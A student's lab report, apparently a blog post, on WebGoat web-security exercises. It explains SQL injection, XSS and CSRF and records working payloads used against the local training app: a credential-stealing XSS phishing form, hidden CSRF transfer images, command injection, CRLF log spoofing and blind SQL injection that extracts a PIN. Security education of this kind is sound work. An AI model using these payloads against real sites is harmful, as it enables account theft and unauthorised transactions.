20165309 《网络对抗技术》实验九:Web安全基础

20165309 《网络对抗技术》实验九:Web安全基础



1.基础问题回答

(1)SQL注入攻击原理,如何防御。

  • 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
  • 防御:
    • 对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
    • 在PHP配置文件中Register_globals=off;设置为关闭状态,作用将注册全局变量关闭。
    • 提高数据库命名技巧,对于一些重要的字段根据程序的特点命名,取不易被猜到的。
    • 开启PHP安全模式Safe_mode=on;

(2)XSS攻击的原理,如何防御。

  • 原理:XSS攻击(跨站脚本攻击)是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。
  • 防御:
    • 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
    • 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
    • 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。

(3)CSRF攻击原理,如何防御。

  • 原理:CSRF(Cross-site request forgery)跨站请求伪造是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。
  • CSRF一般的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了,我们可以在该恶意的url对应的网页中,利用<img src="" />来向目标网站发生一个GET请求,该请求会携带cookie信息,所以也就借用了用户的身份,也就是伪造了一个请求,该请求可以是目标网站中的用户有权限访问的任意请求。也可以使用javascript构造一个提交表单的POST请求。
  • 防御:
    • 通过referer、token或者验证码来检测用户提交。
    • “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
    • 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

返回目录


2.实验总结与体会

(1)遇到的问题与解决

  • 问题:在做Numeric SQL Injection的时候,添加了or 1=1后依然报错,Select中显示问号。
  • 解决:后来我才意识到是因为当初拷同学的虚拟机的时候(因为自己下不下来webgoat...),这项课程已经完成了,所以不能do it again,需要重新开始。

(2)实验感受

本次实验让我有了在做实验楼的相似感,一步步跟着提示完成课程很有趣,收获也很多。同时,我也意识到了自己英语水平的薄弱,还是得多练习英语才是...顺便推荐一波WebGoat中文手册,便于加深大家对本次实验的理解。

返回目录


3.实践过程记录

(1)前期准备:WebGoat

(2)XSS攻击

① Phishing with XSS
  • hint提示要尝试向搜索字段添加HTML以创建假身份验证表单。
  • 在左侧栏Cross-Site Scripting(XSS)攻击中打开Phishing with XSS,将下面这段代码输入到"Search:"输入框中:
    </form>
    <script>
     function hack(){ 
         XSSImage=new Image;
         XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
         alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
     } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
     <br>Enter Username:<br>
      <input type="text" name="user">
       <br>Enter Password:<br>
       <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • 点击搜索,会看到一个要求输入用户名密码的表单:
  • 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:
② Stored XSS Attacks
  • hint:You can put HTML tags in your message.意思是我们要在信息中添加一个html的标签。
  • 在信息中输入:<script>alert("hi I am 5309");</script>即可。
③ Reflected XSS Attacks
  • 看一眼hint:A simple script is .
  • 很简单,把它放到一个输入框里试试:

    bang!

(3)CSRF攻击

④ Cross Site Request Forgery(CSRF)
  • 看要求是让我们发送一个恶意URL请求的图片给用户,在message框里输入一段文字,文字里包含了恶意图片,不能让别人看出了。
  • 输入<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=10000" width="1" height="1">,其中src指向网站的链接,这里就是自己的这个网站,后面的两个参数可以根据红框中的值据实填写,转账金额暂定成10000元,然后通过宽高设置成1像素,隐藏掉这个图片。
  • 点击后就执行了这个代码,被攻击者就会给你转钱啦:
⑤ CSRF Prompt By-Pass
  • 看题目要求是和上一道题一样,只不过现在需要确认转账。
  • 在message中输入:
    <img src="attack?Screen=324&menu=900&transferFunds=10000" 
    width="1" height="1"> 
    <img src="attack?Screen=324&menu=900&transferFunds=confirm" 
    width="1" height="1">
  • 攻击成功~

(4)Injection Flaws

⑥ Command Injection
  • 尝试注入netstat -an以及ifconfig这两个系统命令以获取本地计算机建立连接的IP以及系统的网络端口使用情况以及IP地址。在所请求的页面源代码中添加"& netstat -an & ipconfig",如图所示:
  • 在课程页面的下拉菜单就可以看到我们新设的值,选定它,然后点击view后可以看到网络端口使用情况和IP地址。
⑦ Numeric SQL Injection
  • 查看Solution可知我们需要尝试追加一个总是解析为true的SQL语句,拦截POST请求,用101或1=1替换101。
  • 将语句替换为SELECT * FROM weather_data WHERE station = 101 OR 1=1,即在查看器中更改代码如下图所示:
  • 可以看到所有城市的天气了:
⑧ Log Spoofing
  • 日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入wsj%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符。
⑨ Blind Numeric SQL Injection
  • 题目中说明了下面的表单允许用户输入帐号并确定它是否有效,意思就是返回值只有账户有效或无效两种。
  • 可以利用系统后台在用的查询语句:
    SELECT * FROM user_data WHERE userid=accountNumber;
    
    如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
  • 使用AND函数添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效,例如:
    101 AND 1=1
    101 AND 1=2
    
    在第一条语句中,两个条件都成立,所以页面返回帐号有效。而第二条则返回帐号无效。
  • 现在可以针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们 PIN 数值是否大于1000:
    101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 1000 );
    
    如果页面提示帐号有效,说明PIN>1000否则PIN<=1000。
  • 不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:
    101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
    
  • 在查询框中输入2364 并提交:

返回目录

posted @ 2019-05-25 14:21  20165309吴思佳  阅读(172)  评论(-1编辑  收藏  举报